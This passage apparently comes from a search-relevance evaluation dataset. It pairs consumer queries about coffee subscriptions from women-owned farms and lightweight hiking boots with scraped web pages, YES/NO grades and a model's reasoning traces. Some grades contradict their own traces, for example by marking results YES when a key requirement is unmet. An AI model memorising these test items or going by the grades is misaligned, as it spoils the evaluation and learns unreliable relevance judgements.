                "text": "Unlocking Growth with Gen AI in Beauty:  Innovation and Optimization in the Beauty Sector\n        \n  \n                \n    \n          The booming beauty industry faces a unique blend of challenges (saturation, shifting preferences) and exciting opportunities (emerging markets, personalization). This whitepaper explores how Generative AI can navigate this landscape, fostering innovation, personalization, and sustainability. AI empowers brands to develop targeted products, streamline operations, and personalize the customer journey, ultimately optimizing costs and revenue while contributing to a more responsible and inclusive future.\n        \n  \n                \n    \n          Beauty Industry: A Profile and Historical Journey\n        \n  \n                \n    \n          From the intricate artistry of makeup to the science-backed innovation in skincare, the beauty industry is a captivating domain that thrives on creativity and constant evolution. Fuelled by a global focus on personal well-being and the power of self-expression, this dynamic industry continues to captivate consumers and inspire innovation.\n        \n  \n                \n    \n          The global beauty industry has experienced significant growth over the past few decades, reaching a staggering value of over $500 billion and projected to continue its expansion at a rate of 4-5% annually. This growth can be attributed to various factors, including rising disposable income, increasing awareness of personal care, and the growing influence of social media and beauty influencers.\n        \n  \n                \n    \n          The industry itself is segmented into several key categories:\n        \n  \n                \n    \n        \n        \n     Cosmetics:  This segment, accounting for roughly 30% of the global market, encompasses makeup products such as foundation, lipstick, and eyeshadow. \n     Skincare:  This segment focuses on products for cleansing, moisturizing, and protecting the skin. \n     Hair Care:  This segment includes shampoos, conditioners, and styli",
                "model_trace": "Query Decomposition:\n1. [customizable, AI-powered smart mirror]: The document does not mention smart mirrors -> ([0], UNSURE)\n2. [doubles as a virtual fitness trainer]: The document does not mention fitness trainers -> ([0], UNSURE)\n3. [provides personalized skincare advice]: The document discusses AI in the beauty industry and personalization in skincare -> ([2], SATISFIED)\n4. [where to find]: The document does not provide information on where to find products -> ([0], UNSURE)\n\nAssessment: The only subcomponent that can be evaluated is {provides personalized skincare advice}, which is satisfied. However, the document does not address the other critical aspects of the query such as the smart mirror, virtual fitness trainer, or where to find such a product.\n\nNO."
            }
        ]
    },
    {
        "query": "Is there a subscription service that delivers ethically sourced, single-origin coffee beans from women-owned farms in developing countries?",
        "grid_pos": [
            1,
            3
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are diverse, realistic, and challenging, focusing on consumer goods and services. They require deep understanding of various topics such as eco-friendly products, advanced technology in everyday items, ethical sourcing and social responsibility, specialized outdoor gear, and adaptive technology for specific needs. Each query is specific and detailed, testing Exa's ability to understand complex requirements and provide relevant results in the consumer goods and services domain."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Coffee roastedat origin.",
                "url": "https://www.vegacoffee.com/",
                "published_date": "2021-11-01",
                "text": "It\u2019s anew day.\n The movement starts in your coffee mug. Connect directly with the women farmers who handcraft your coffee from seed to cup\u2014and join the roasted-at-origin revolution. \n SHOP NOW\n\nWe built a model that breaks the rules.\n We grow, source, and roast our coffee at origin\u2014a shift in the supply chain that connects you directly with the women who grow your coffee. Farmers earn more with power to access the market, and you get coffee handcrafted with generations of expertise. Delivered direct, no middlemen.\n\nBetter coffee, from us to you.\n A coffee experience that values connection as much as you do. Our coffee closes the distance between coffee drinkers and coffee growers, bringing us together through the shared touch-point of our favorite drink.\n shop this month\u2019s coffee\n\nMeet yournew favoriteroast.\n\nStart your month with the magic of something new. We feature different coffee from exclusive microlots from across Nicaragua\u2014our way of connecting you to the diverse community of seed-to-cup experts at origin. Our monthly coffees are limited edition, so don\u2019t be afraid to stock up before your favorite roast runs out.\n shop this month\u2019s coffee\n\nHow it Works\n\nSelect your roast of choice.\n 1\n\nReceive monthly deliveries of new, exclusive coffee\u2014direct from us to you. Carefully selected for quality and seasonal availability.\n 2\n\nBrew your way to the coffeelands & be inspired by the movement in your mug.\n 3\n\nRadically different.Remarkably Better.\n\nThe women leadingthe movement.\n As experts at origin who craft your coffee from seed to cup, the Women of Vega earn more income for their work and become leaders in an industry that has historically kept them out. With the Vega movement, women growers make their voices heard and their value recognized\u2014and shape a world that future generations of coffee growers and coffee lovers will be proud to inherit. \n read their stories\n\n75%\n women\n to close the gender gap in coffee\n\n151%\n higher wages than Fair Trade requirements\n to stimulate economic growth\n\n83%\n certified organic",
                "model_trace": "Query Decomposition:\n1. {subscription service}: The document mentions receiving monthly deliveries of coffee, indicating a subscription service -> ([1], SATISFIED)\n2. {ethically sourced}: The document highlights that farmers earn more and there are no middlemen, suggesting ethical sourcing -> ([2], SATISFIED)\n3. {single-origin coffee beans}: The document mentions coffee from exclusive microlots from across Nicaragua, which implies single-origin coffee -> ([2], SATISFIED)\n4. {women-owned farms}: The document emphasizes that the coffee is grown and crafted by women farmers, and that the movement is led by women -> ([1], SATISFIED)\n5. {developing countries}: The document mentions that the coffee is sourced from Nicaragua, which is a developing country -> ([1], SATISFIED)\n\nAssessment: All subcomponents tagged with [1] or [2] are SATISFIED. The document provides detailed information about a subscription service offering ethically sourced, single-origin coffee beans from women-owned farms in a developing country. YES"
            },
            {
                "grade": "YES",
                "title": "Awesome Coffee Club",
                "url": "https://awesomecoffeeclub.com/",
                "published_date": "2023-01-01",
                "text": "Awesome Coffee now comes in decaf, light and medium roasts!\n\nParadoxa *Decaf*\n\nRegular price\n\n$22.00 USD\n\nRegular price\n\nSale price\n\n$22.00 USD\n\nUnit price\n\nper\n\nWhy Choose Awesome Coffee Club\n\nOur Sourcing Priorities:\n\nCommunity We work directly with small farmers\u2019 collectives in the Cadefihuila region of Colombia.\n\nEnvironment Awesome Coffee beans are grown in communities that are actively working to eliminate deforestation and engage in regenerative agriculture.\n\nCompensation We pay higher-than-market rates for Awesome Coffee beans, and we guarantee a minimum payment to farmers even if market rates drop.\n\nIt\u2019s a subscription, for coffee!\n We source the best beans from small farmers and co-ops, and deliver them to your door on an easy schedule, either once a month or every two weeks. And you can feel great about this coffee! ALL profits are donated to radically reduce maternal and child mortality in Sierra Leone. \n Buy Now\n\nHow's the Coffee?\n We tested dozens of coffee roasts to pick the right ones to use for the Awesome Coffee Club. We now offer two different roasts plus decaf coffee, all available in ground or whole beans! According to First Crack, the roasters: \"The coffee is roasty but not burnt or acrid. There\u2019s some non-fruit sweetness, too.\" According to Virginia on Twitter: \"This is a solid, very smooth cup of coffee. And I am incredibly picky about my coffee.\" \n More about the coffee here!\n\nWant to try the coffee before subscribing? We now offer a one time purchase option of each roast so you can try the coffee and make sure it'll be something you love. \n Buy One Bag\n\nWhat Others Are Saying\n\nCoffee Moments from Members of the Club \n Join the Club More coffee products are in the works! Enter your email to be the first to know about important updates and new products from the Awesome Coffee Club. \n Sign Up Here",
                "model_trace": "Query Decomposition:\n1. {subscription service}: The document mentions that Awesome Coffee Club offers a subscription service for coffee -> ([1], SATISFIED)\n2. {ethically sourced}: The document states that Awesome Coffee Club works directly with small farmers\u2019 collectives and pays higher-than-market rates, indicating ethical sourcing -> ([1], SATISFIED)\n3. {single-origin coffee beans}: The document mentions sourcing beans from the Cadefihuila region of Colombia, which suggests single-origin -> ([2], SATISFIED)\n4. {from women-owned farms}: The document does not mention whether the farms are women-owned -> ([0], UNSURE)\n5. {in developing countries}: The document mentions sourcing from Colombia, which is a developing country -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {subscription service}, {ethically sourced}, {single-origin coffee beans}, and {in developing countries}. All these subcomponents are satisfied. The subcomponent {from women-owned farms} is tagged as [0], so it does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Muchacha - Women in Coffee",
                "url": "https://wearemuchacha.com/",
                "published_date": "2022-09-06",
                "text": "WEAREMUCHACHA\n\nStart typing and hit Enter\n\nMenu\n\nimage/svg+xml\n Login\n\nClose\n\nGreat to have you back!\n\nMEET\n\nOur latest versions, to celebrate nuestra historia latina.\n\nSHOP NOW\n\nEquality\n\nWe support female leadership by organizing and promoting companies owned by women in the coffee supply chain\n\nTransparency\n\nWe support your buying values by sharing a complete transparent and traceable female owned coffee supply chain.\n\nImpact\n\nWith every cup of Muchacha Coffee that you enjoy, you are changing lives of many women around the world, honoring our mission for positive social impact.\n\nNewsletter\n\nWe want you not to miss any information, sign up to be updated on our first\nrelease, and we would love you to join us",
                "model_trace": "Query Decomposition:\n1. {subscription service}: The document does not mention a subscription service -> ([0], UNSURE)\n2. {ethically sourced coffee beans}: The document mentions supporting female leadership and transparency in the coffee supply chain, which implies ethical sourcing -> ([2], SATISFIED)\n3. {single-origin coffee beans}: The document does not specify whether the coffee beans are single-origin -> ([0], UNSURE)\n4. {coffee beans from women-owned farms}: The document mentions promoting companies owned by women in the coffee supply chain -> ([1], SATISFIED)\n5. {in developing countries}: The document mentions supporting women around the world but does not specifically mention developing countries -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {ethically sourced coffee beans} and {coffee beans from women-owned farms}, both of which are satisfied. However, the document does not mention a subscription service, which is a critical part of the query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Caf\u00e9 Campesino Georgia's Fair Trade, Organic Coffee Roaster",
                "url": "https://www.cafecampesino.com/",
                "published_date": null,
                "text": "Founded in 1998, Cafe Campesino is Georgia's first and only 100% fair trade, organic specialty coffee company. We are a cooperative importer, roaster, wholesaler-distributor, and online retailer located in Americus, Georgia - the birthplace of Koinonia Partners and Habitat for Humanity International and about 9 miles east of Plains, home to former President Jimmy Carter and his wife Rosalynn.\nHOW WE BUY OUR COFFEE MATTERS. We import all of our coffee directly from small landholder coffee farmer cooperatives via a unique, principle-driven supply chain called Cooperative Coffees that we co-founded in 1998. Cooperative Coffees is the only fair trade green bean roaster cooperative of its kind in North America, employing common-sense, respectful, mutually beneficial terms of trade for sourcing organic green coffee fairly, directly, and transparently from farming communities who we have known for years.",
                "model_trace": "Query Decomposition:\n1. {subscription service}: The document does not mention a subscription service -> ([0], UNSURE)\n2. {delivers ethically sourced coffee beans}: The document mentions that Caf\u00e9 Campesino delivers fair trade, organic coffee beans, which implies ethical sourcing -> ([1], SATISFIED)\n3. {single-origin coffee beans}: The document does not specify whether the coffee beans are single-origin -> ([0], UNSURE)\n4. {from women-owned farms}: The document does not mention anything about women-owned farms -> ([0], UNSURE)\n5. {in developing countries}: The document mentions sourcing coffee from small landholder cooperatives, which are typically in developing countries -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {delivers ethically sourced coffee beans} and {in developing countries}. Since these subcomponents are SATISFIED, the document is somewhat helpful, but it does not address the critical aspects of a subscription service or women-owned farms. Given the specificity of the query, the document does not fully meet the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "The Best Coffee Subscriptions, Based On Long-Term Testing",
                "url": "https://www.forbes.com/sites/forbes-personal-shopper/article/best-coffee-subscriptions/",
                "published_date": null,
                "text": "Without one of the best coffee subscriptions on the market, you might be missing out on a crucial piece of the \u201cgreat coffee\u201d puzzle: fresh, high-quality beans. As anyone who owns a coffee maker knows, coffee tastes best as soon as it\u2019s roasted\u2014and oftentimes, bags sit on grocery store shelves for a month or longer. That\u2019s where the subscription boxes really come in handy. No matter what type of coffee you like, there\u2019s a subscription box that will cater to your unique preferences. (For 2023, our top pick is Atlas Coffee Club, which sources its coffee from around the world.)\n  Atlas Coffee Club brings you coffee from around the world, including micro-lot brews from Tanzania, ... [+] Kenya, Colombia, Peru and more. ILLUSTRATION: FORBES / IMAGE: RETAILER  \nIf you\u2019re not entirely sure what kind of coffee you like, though, there are plenty of other options that will help you discover new flavors and brews. Many services use short surveys to match you with personalized java recommendations. Some offer espresso and cold brew options, too. Ahead, find the best coffee subscriptions for every kind of java drinker, from classic single-origin roasts to more adventurous blends to canned cold brew. And if you find yourself hooked on the subscription lifestyle, don\u2019t miss our recommendations for the best dog food delivery services and wine subscriptions.\n  Best Overall Coffee Subscription:  Atlas Coffee Club \n  Best Coffee Subscription For Adventurous Drinkers:   Yes Plz \n  Best Coffee Subscription To Sample Small Roasters: Trade Coffee \n  Best Flexible Coffee Subscription: Bean Box \n  Best Coffee Subscription For Frequent Coffee Drinkers: Equator Coffee \n  Best Coffee Subscription For Gifting: Misto Box \n  Best Coffee Subscription For Cold Brew:  La Colombe \n  Best Coffee Subscription From A Small Roaster:  Bean &amp; Bean Coffee \n  Best Personalized Coffee Subscription: Driftaway Coffee \n  Best Coffee Subscription for Half-Caf And Decaf Options: Peet\u2019s Coffee \n  Best Coffee Subscription For Fastest, Freshest Delivery: Blue B",
                "model_trace": "Query Decomposition:\n1. {subscription service that delivers ethically sourced coffee beans}: The document discusses various coffee subscription services, which likely include ethically sourced options -> ([1], SATISFIED)\n2. {single-origin coffee beans}: The document mentions single-origin roasts as one of the options available -> ([1], SATISFIED)\n3. {from women-owned farms}: The document does not specify whether any of the coffee subscriptions source from women-owned farms -> ([0], UNSURE)\n4. {from developing countries}: The document mentions that Atlas Coffee Club sources its coffee from countries like Tanzania, Kenya, Colombia, and Peru, which are developing countries -> ([2], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to subscription services, ethically sourced coffee, single-origin beans, and developing countries. However, it does not provide information about women-owned farms. Ignoring the subcomponent tagged [0], the document is helpful as it meets the other relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Cafe Femenino",
                "url": "https://www.cafefemenino.com/",
                "published_date": null,
                "text": "Thousands of women with one powerful idea: Women farmers deserve credit for their crucial role in the coffee industry. Co-founded in 2003 by Peruvian women farmers alongside Organic Products Trading Co., Caf\u00e9 Femenino now spans the globe and continues to grow as more and more women join the Caf\u00e9 Femenino movement.\u00a0\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  The women of Union Proagro have carved out a place for themselves in leadership roles at the highest levels within their cooperative.   Learn more &gt;   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  In addition to their work with Caf\u00e9 Femenino, the women farmers of Coopfam further support their families by locally roasting, selling and branding their own coffee.   Learn more &gt;   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  When the women farmers of COSURCA aren\u2019t harvesting their world-class beans, they\u2019re running a kitchen upgrade project that improves the health and safety of homes across their community.   Learn more &gt;   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  In addition to farming highly sought-after coffee beans, the women farmers of Asobagri run a program focused on job training for their daughters.   Learn more &gt;   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  The women now outnumber the men at the Nahuala cooperative. The women farmers have used their increased income to, among other things, send their children to school and fund a librarian position within the community.   Learn more &gt;   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  The women farmers of Cesmach have used their increased income to support their families during slow production periods brought on by coffee rust, a destructive plant disease.   Learn more &gt;   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  To combat the scourge of coffee rust, the women farmers of Corcasan administer a coffee-tree replanting program to protect and strengthen the economical heart of the community.   Learn more &gt;   \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  The women of CECANOR are prou",
                "model_trace": "Query Decomposition:\n1. {subscription service}: The document does not mention a subscription service -> ([0], UNSURE)\n2. {delivers coffee beans}: The document mentions women farmers producing coffee beans but does not specify delivery -> ([0], UNSURE)\n3. {ethically sourced}: The document implies ethical sourcing by highlighting the role of women farmers and their community projects -> ([2], SATISFIED)\n4. {single-origin coffee beans}: The document mentions specific cooperatives and regions, implying single-origin coffee beans -> ([2], SATISFIED)\n5. {from women-owned farms}: The document clearly states that the coffee beans are from women farmers -> ([1], SATISFIED)\n6. {in developing countries}: The document mentions cooperatives in developing countries like Peru -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {ethically sourced}, {single-origin coffee beans}, {from women-owned farms}, and {in developing countries}. Since these subcomponents are SATISFIED, the document is helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "What's the most durable and lightweight material for hiking boots that can withstand extreme temperatures and provide maximum comfort for long-distance treks?",
        "grid_pos": [
            1,
            3
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are diverse, realistic, and challenging, focusing on consumer goods and services. They require deep understanding of various topics such as eco-friendly products, advanced technology in everyday items, ethical sourcing and social responsibility, specialized outdoor gear, and adaptive technology for specific needs. Each query is specific and detailed, testing Exa's ability to understand complex requirements and provide relevant results in the consumer goods and services domain."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Hiking boots - How to choose the right hiking boots? - ArmGeo.am",
                "url": "https://www.armgeo.am/en/hiking-boots/",
                "published_date": "2022-04-05",
                "text": "Shoes are the most important part of your hiking gear for comfortable and safe walk. Right hiking boots will guarantee a successful hike. It can be difficult for beginners to make a choice among the many options on the market. A large number of hiking boots of various types and purposes are produced today, with differences in quality and price. We\u2019ve prepared this article to help you understand how to choose hiking boots. We tried to highlight the most important points and explain the basic principles that should be followed when buying hiking boots.\nSo, how to choose the right hiking boots? It will be much easier to solve this problem, if you give honest answers to the following questions:\nWhat difficulty routes do you plan to walk on? How difficult is the route? Does it have truncated relief, rocky or mud areas? The more difficult is the route, the higher the boot should be, to keep the ankles and lower leg firm.\n Hiking boots \nHow heavy will your backpack be? Heavy backpack creates additional pressure on the feet and deforms the sole of the boots, which can negatively affect the boot\u2019s adhesion to the terrain. So the heavier your backpack is, the thicker and stronger the soles of your boots should be.\nWhat is your physical condition? It is especially important in what condition the muscles of your legs are? If your legs are muscular and your tendons have high elasticity, then you will need less additional support for your shoes. That\u2019s why you can meet experienced and fit hikers wearing light boots, as their leg muscles are well trained. Beginners are not recommended to go hiking in these boots, because they have a higher risk of getting injuries.\nBy answering these questions, your idea of your future hiking boots will become clearer.\nTypes of hiking boots\nHiking boots can be conditionally divided into three groups:\n\nHiking boots\nTrekking boots\nMountaineering boots\n\nOf course this division is conditional, and there are many subtypes here. But not to confuse you with the overabundance of information, we will fo",
                "model_trace": "Query Decomposition:\n1. {most durable and lightweight material for hiking boots}: The document does not mention specific materials used in hiking boots -> ([0], UNSURE)\n2. {withstand extreme temperatures}: The document does not discuss the ability of hiking boots to withstand extreme temperatures -> ([0], UNSURE)\n3. {provide maximum comfort for long-distance treks}: The document provides general advice on choosing hiking boots for comfort and safety, but does not specifically address materials or features for maximum comfort on long-distance treks -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide specific information about materials, durability, temperature resistance, or maximum comfort for long-distance treks. Therefore, it does not satisfy the key subcomponents of the query. NO."
            },
            {
                "grade": "YES",
                "title": "10 Best Gore-Tex Boots Compared & Reviewed | WalkJogRun",
                "url": "https://www.walkjogrun.net/best-gore-tex-hiking-boots/",
                "published_date": "2019-11-05",
                "text": "In a Hurry? Editors choice: Test Winner: Timberland Chocorua Trail If you love to hike, stroll, or just communing with nature, you understand the value of investing in a pair of reliable boots. Nobody wants to return from a hike with stinky sweat-soaked feet. Likewise, you also don\u2019t want to book a manicure after each excursion because of blisters. You need dependable footwear that fits correctly, as well as some measure of breathability and waterproofing. Gore-Tex lined boots can guarantee you all of this, whether you opt for leather or synthetic options. This innovation in footwear and clothing is ideal for all weather conditions, regardless of the snow or mud that covers the terrain. This innovation has been around for over five decades, producing lightweight shoes that offer cushioning. Such shoes are the ultimate footwear for outdoor and sporting enthusiasts world over. The following is a review of the best Gore-Tex boots and what to look for in a pair. Table of contents Standout Picks Criteria Used for Evaluation Best Gore-Tex Hiking Boots Reviews Sources Standout Picks If you have ever found yourself hiking an inclined terrain, then you know the value of shoes that offer traction. The Salomon men's Quest 4d 3 GTX a rugged and stylish option that also provides adequate ankle support. A dual canvas and Nubuck leather material make this model comfortable and light. Timberland is probably the most recognizable brand to feature on this list. The reason for such strong notoriety is the company\u2019s commitment to developing dependable footwear in a variety of styles and plans. The brand\u2019s footwear ranges from the finest to the most rugged shoes you can buy. If you are a hiker who has to have it rough, then the Bates GX- 8 ultra-lites are the perfect match. These Gore-Tex Boots are hardy yet pleasing to the eye with tactical military design aspects. The construction of the chassis features cement instead of metal, which makes bates more flexible and lighter. If you are looking for a cheap option that packs all the ri",
                "model_trace": "Query Decomposition:\n1. {most durable and lightweight material for hiking boots}: The document discusses various Gore-Tex hiking boots, which are known for being durable and lightweight -> ([1], SATISFIED)\n2. {withstand extreme temperatures}: The document mentions that Gore-Tex is ideal for all weather conditions, which implies it can withstand extreme temperatures -> ([2], SATISFIED)\n3. {provide maximum comfort for long-distance treks}: The document highlights comfort features such as cushioning and ankle support in the reviewed boots -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to durability, lightweight material, ability to withstand extreme temperatures, and comfort for long-distance treks. YES."
            },
            {
                "grade": "YES",
                "title": "Merrell Altalight Knit Mid Women's Hiking Boots Review - Hiking Lady Boots",
                "url": "https://hikingladyboots.com/merrell-altalight-knit-mid-womens-hiking-boots/",
                "published_date": "2020-10-07",
                "text": "Home \u00bb Merrell \u00bb Merrell Altalight Knit Mid Women\u2019s Hiking Boots Review 9.5 Total Score When you\u2019re hiking in the summer, you want your boots to be tough, yet light as feathers. Rugged enough to take the less-traveled paths, yet lightweight enough to give you speed while hiking, Merrell Altalight Knit Mid Hiking Boot can make become your boots for the spring and summer hikes anytime. PROS Lightweight and comfortable out of the box. They come with a removable contoured insole. The footwear ensures torsional rigidity, stability, and flexible support. CONS The boots aren't waterproof. They\u2019re not very cheap. Last updated on February 5, 2023 7:59 pm You only need to briefly look at the Merrell Altalight Knit Mid Hiking Boot to know that they\u2019re women\u2019s boots. The slim profile and feminine design are catching your attention, but the features and build confirm the overall value. Slim, yet tough, Merrell Altalight Knit Mid Hiking Boot work as a dependable option for women who love spring hikes as much as they love fall hikes. Who is Merrell? Merrell is an American company born at the beginning of the 80s. Not only that, the company is determined to create and make reliable footwear for outdoor activities, but it\u2019s also dedicated to sustainable products with recycled materials for superior performance in outdoor activities. With constant interest and passion for recycling in mind, the professionals at Merrell always try to give new purposes to once-used materials. For example, they take the fabric made from single-use water bottles and make it a sock line for Merrell boots. The soles are made from post-industrial scrap rubber, and the EVA midsole is made from the EVA scrap resulted in the manufacturing process of the EVA midsole. Merrell products don\u2019t just address the outdoor enthusiasts, impressing with the toughness and reliability, but also to customers who also care about the environment. Merrell footwear is hiking footwear with sustainability features that are difficult to find. How should we depict the Merrell Alt",
                "model_trace": "Query Decomposition:\n1. [most durable and lightweight material for hiking boots]: The document discusses the Merrell Altalight Knit Mid Women's Hiking Boots, which are described as lightweight and tough -> ([1], SATISFIED)\n2. [can withstand extreme temperatures]: The document does not mention the ability of the boots to withstand extreme temperatures -> ([0], UNSURE)\n3. [provide maximum comfort for long-distance treks]: The document mentions that the boots are lightweight and comfortable out of the box, with features like a removable contoured insole, torsional rigidity, stability, and flexible support -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {most durable and lightweight material for hiking boots} and {provide maximum comfort for long-distance treks}. Both of these subcomponents are satisfied by the document. The subcomponent about extreme temperatures is not addressed, but it is tagged as [0], so it does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Best Lightweight Hiking Boots of 2024 - Treeline Review",
                "url": "https://www.treelinereview.com/gearreviews/best-lightweight-hiking-boots",
                "published_date": null,
                "text": "LIGHTWEIGHT, BREATHABLE WATERPROOF HIKING BOOTS FOR DAY HIKING AND LIGHT BACKPACKING   Published August 3rd, 2022 \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  \nTo find the best lightweight hiking boots for men and women, we started by compiling reviews from reputable media outlets and everyday users. To compare and verify using our own experience, we tested the top 10 lightweight boots over various terrains to get an accurate feel for how they would perform on day hikes that we felt were representative of most hikers.\u00a0 Our goal isn\u2019t to find the one best hiking boot, but to give you an in-depth analysis of each hiking boot so you can find the one that works for your needs. Whether you need a waterproof pair that can withstand Pacific Northwest rain or ventilated boots that can keep your feet comfortable in desert summer temps, here are our winners for the best lightweight hiking boots currently available.\n   We create reader-supported, objective gear reviews independently selected by our editors. This story may contain affiliate links, which help fund our website. When you click on the links to purchase gear, we may get a commission \u2014 without costing you an extra cent. Thank you for supporting our work and mission of outdoor coverage for every body!    Learn more  .    \n Comparison TABLE\n   \n\t\n\t\n\t\n\t\n\t\n\tHIKING BOOT\n\tTREELINE AWARD\n\tCHECK PRICES\n\tWEIGHT PER BOOT (oz)\n\tWATERPROOF MATERIAL\n\tSOLE\n\t\n\t\n\t\n\t\n\tSalomon X Ultra 3 Mid GTX\n\tBest Overall   Read why  \n\t  Women's    Men's  \n\t15.2\n\tGore-tex\n\tContagrip TD\n\t\n\t\n\tHoka One One Sky Kaha\n\tBest Upgrade   Read why  \n\t  Women's    Men's  \n\t15.0\n\teVent\n\tVibram Megagrip\n\t\n\t\n\tMerrell Moab 2 Mid\n\tBest Affordable   Read why  \n\t  Women's    Men's  \n\t15.0\n\tNone\n\tVibram\n\t\n\t\n\tLa Sportiva Nucleo High II GTX\n\tBest for Narrow Feet   Read why  \n\t  Women's    Men's  \n\t16.8\n\tGore-tex\n\tVibram\u00ae Nano sole with Impact Brake System\u2122\n\t\n\t\n\tKeen Targhee II Waterproof Mid\n\tBest for Wide Feet   Read why  \n\t  Women's    Men's  \n\t14.2\n\tWater Resistant Keen.Dry\n\tRubber Outsole\n\t\n\t\n\tAltra Lone Peak A",
                "model_trace": "Query Decomposition:\n1. {most durable material for hiking boots}: The document mentions various materials used in hiking boots such as Gore-tex, eVent, and Vibram, which are known for their durability -> ([1], SATISFIED)\n2. {lightweight material for hiking boots}: The document focuses on lightweight hiking boots and provides weights for each boot -> ([1], SATISFIED)\n3. {material that can withstand extreme temperatures}: The document mentions waterproof and ventilated boots, but it does not specifically address extreme temperatures -> ([0], UNSURE)\n4. {material that provides maximum comfort for long-distance treks}: The document provides an in-depth analysis of each boot, which likely includes comfort for long-distance treks -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {most durable material for hiking boots}, {lightweight material for hiking boots}, and {material that provides maximum comfort for long-distance treks}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Best Hiking Boots of 2024",
                "url": "https://www.switchbacktravel.com/best-hiking-boots",
                "published_date": null,
                "text": "Hiking boots are critical to your comfort and performance on the trail, but this no longer means a stiff and burly model that will weigh you down. The trend is toward lighter materials that still offer decent support, and waterproof boots are the most popular by far (some are offered in a non-waterproof version for hiking in hot or dry climates). Our picks for the best hiking boots of 2023 below are broken down into three categories: lightweight boots for day hiking and fastpacking, midweight options that work well for most backpacking trips, and heavyweights for rough terrain or hauling a large load. For more information, see the comparison table and buying advice below the picks. If you prefer to go even lighter and faster, check out our article on the best hiking shoes.\n\u00a0\n    Our Team's Hiking Boot Picks \n  Best Overall Hiking Boot:  Salomon X Ultra 4 Mid GTX \n\t Best Budget Hiking Boot:  Merrell Moab 3 Mid WP \n\t Best Backpacking Boot for Rough Terrain:  Salomon Quest 4 GTX \n\t Best Max-Cushioned Hiking Boot:  Hoka Anacapa Mid GTX \n\t Best for Fast-and-Light Mountain Adventures: La Sportiva Ultra Raptor II \n    Best Overall Hiking Boot \n 1. Salomon X Ultra 4 Mid GTX ($175)  \n Category: Lightweight Weight: 1 lb. 14 oz. Waterproof: Yes (Gore-Tex) What we like: Fast, light, flexible, and reasonably priced. What we don\u2019t: Thinner underfoot and less stable than the Salomon Quest 4 below.\nBuilt like a trail running shoe but with added ankle support and protection, the Salomon X Ultra 4 Mid is our favorite all-around hiking boot for 2023. Updated last spring with a sleeker upper and revised chassis, the latest version of the boot offers an impressive combination of comfort and low weight\u2014all while retaining solid toe protection, stability, and well-rounded traction. You also get Salomon build quality, which we\u2019ve found tends to stand up to more abuse on the trail than other boots in this weight and price range. For fast-moving day hikers, lightweight backpackers, and even thru-hikers, we heartily recommend the X Ultra 4",
                "model_trace": "Query Decomposition:\n1. {most durable material for hiking boots}: The document mentions Salomon build quality standing up to more abuse, which implies durability -> ([2], SATISFIED)\n2. {lightweight material for hiking boots}: The document discusses lightweight hiking boots and mentions specific models that are lightweight -> ([1], SATISFIED)\n3. {material that can withstand extreme temperatures}: The document does not specifically address materials that can withstand extreme temperatures -> ([0], UNSURE)\n4. {material that provides maximum comfort for long-distance treks}: The document highlights comfort and mentions specific models that are recommended for long-distance treks -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {most durable material for hiking boots}, {lightweight material for hiking boots}, and {material that provides maximum comfort for long-distance treks}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "10 Best Hiking Boots of 2024 | Tested & Rated",
                "url": "https://www.outdoorgearlab.com/topics/shoes-and-boots/best-hiking-boots",
                "published_date": null,
                "text": "Our Editors independently research, test, and rate the best products. We only make money if you purchase a product through our links, and we never accept free products from manufacturers. Learn more  \n\t \tBest Overall Hiking Boots \n\tSalomon Quest 4 Gore-Tex \n\t \t\tComfort\t9.0\t\t\t\tSupport\t9.0\t\t\t\tTraction\t8.0\t\t\t\tWater Resistance\t8.0\t\t\t\tWeight\t4.0\t\t\t\tDurability\t8.0\t\t  \tWeight (per pair): 2.90 pounds | Upper: Nubuck leather and textile\n   REASONS TO BUY  Comfy Beefy yet nimble Stable and speedy Excellent water resistance    REASONS TO AVOID  Many seams could present durability issues over the long-term On the heavier side Not best for light hiking   The Salomon Quest 4 Gore-Tex is the real deal, and we consider it to be the epitome of what a hiking boot should be. In this total package, you are treated with cushioned comfort, excellent stability, and some of the best waterproof credentials in the business. This boot is for hikers who want to do long and demanding backpacking trips in difficult terrain, carrying a heavier pack. With the tallest ankle cuff height of any boot in our review and an innovative support structure, we feel these are the most stable backpacking boots out there, and the height also gives them an advantage in water resistance. \nWe wholeheartedly recommend this boot as the best overall option if you want the ultimate in performance. It excels on long hikes thanks to a customizable fit that adapts to the shape of your foot, it has the support you need when carrying overnight backpacking gear, and its traction ensures that you won't be caught 